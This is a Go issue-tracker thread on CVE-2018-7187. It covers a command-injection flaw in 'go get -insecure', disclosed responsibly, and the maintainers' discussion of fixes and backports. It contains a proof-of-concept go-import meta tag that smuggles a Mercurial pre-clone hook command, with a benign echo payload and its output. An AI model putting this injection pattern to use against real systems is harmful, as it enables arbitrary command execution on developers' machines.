cmd/go: arbitrary command execution via VCS path

[Invizory]

I contacted security@golang.org about this and was allowed to create a public issue.

This has been assigned CVE-2018-7187.

What version of Go are you using (go version)?

go version go1.9.4 linux/amd64 (earlier versions are also affected)

Does this issue reproduce with the latest release?

Yes.

What did you do?

The go get implementation, when the -insecure command-line option is used, does not validate the import path, which allows remote attackers to execute arbitrary OS commands via a crafted website.

For example, this command should execute echo hello $USER:

go get -insecure khashaev.ru/go-vuln

See https://khashaev.ru/go-vuln/index.html:

<meta name="go-import" content="khashaev.ru/go-vuln hg --config=hooks.pre-clone=echo${IFS}hello${IFS}$USER;echo${IFS}https://>/dev/null">

The proof of concept presented above is targeting Mercurial.

What did you expect to see?

package khashaev.ru/go-vuln: unrecognized import path "khashaev.ru/go-vuln"

What did you see instead?

hello inviz
abort: repository /home/inviz/go/src/khashaev.ru/go-vuln not found!
package khashaev.ru/go-vuln: exit status 255

[gopherbot]

Change https://golang.org/cl/94656 mentions this issue: cmd/go: fix command injection in VCS path

[bradfitz]

@ianlancetaylor and I discussed this and we were thinking something like https://go-review.googlesource.com/c/go/+/94603 which is a little bit safer (in terms of not breaking people), compared to https://golang.org/cl/94656. Especially for so late in the Go 1.10 cycle.

[andybons]

@bradfitz @ianlancetaylor is this a release-blocker for Go1.10?

[gopherbot]

Change https://golang.org/cl/94603 mentions this issue: cmd/go: restrict meta imports to valid schemes

[ianlancetaylor]

After thinking about a bit more I'm not sure that it is a release blocker for 1.10. As far as we can tell it is only insecure if you explicitly say go get -insecure. I'm not sure that calls for an immediate fix. I think it may be OK to fix this in 1.10.1.

@bradfitz ?

[ianlancetaylor]

My inclination right now is to go with my CL (94603) for patch releases, including 1.10.1, but go with @Invizory 's CL (94656) for 1.11. That should give us plenty of time to find out whether full URL parsing will work, and back off if it won't.

[bradfitz]

SGTM on both of the previous two comments.

[Invizory]

This has been assigned CVE-2018-7187.

[ianlancetaylor]

I've submitted my CL, setting up to backport to 1.10.1 and 1.9.4. @Invizory unfortunately you'll need to rebase your CL and fix the merge conflicts, then we can get that in for 1.11. Thanks.

[mikioh]

s/1.9.4/1.9.5/ ?

[ianlancetaylor]

The issue is fixed for 1.11, reopening for a backport to 1.10.1.

[dmitshur]

My inclination right now is to go with my CL (94603) for patch releases, including 1.10.1, but go with @Invizory 's CL (94656) for 1.11. That should give us plenty of time to find out whether full URL parsing will work, and back off if it won't.

@ianlancetaylor What about golang.org/x/tools/go/vcs package? I can send a CL for it, but should we go with 94656 right away, or start with 94603 and apply 94656 later?

[ianlancetaylor]

For golang.org/x we can use 94656 right away. Thanks.

[gopherbot]

Change https://golang.org/cl/94899 mentions this issue: go/vcs: fix command injection in VCS path

[dmitshur]

I've sent CL 94899 for golang.org/x.

[andybons]

CL 94603 OK for Go 1.10.1

[gopherbot]

Change https://golang.org/cl/102776 mentions this issue: [release-branch.go1.9] cmd/go: restrict meta imports to valid schemes

[gopherbot]

Change https://golang.org/cl/102778 mentions this issue: [release-branch.go1.10] cmd/go: restrict meta imports to valid schemes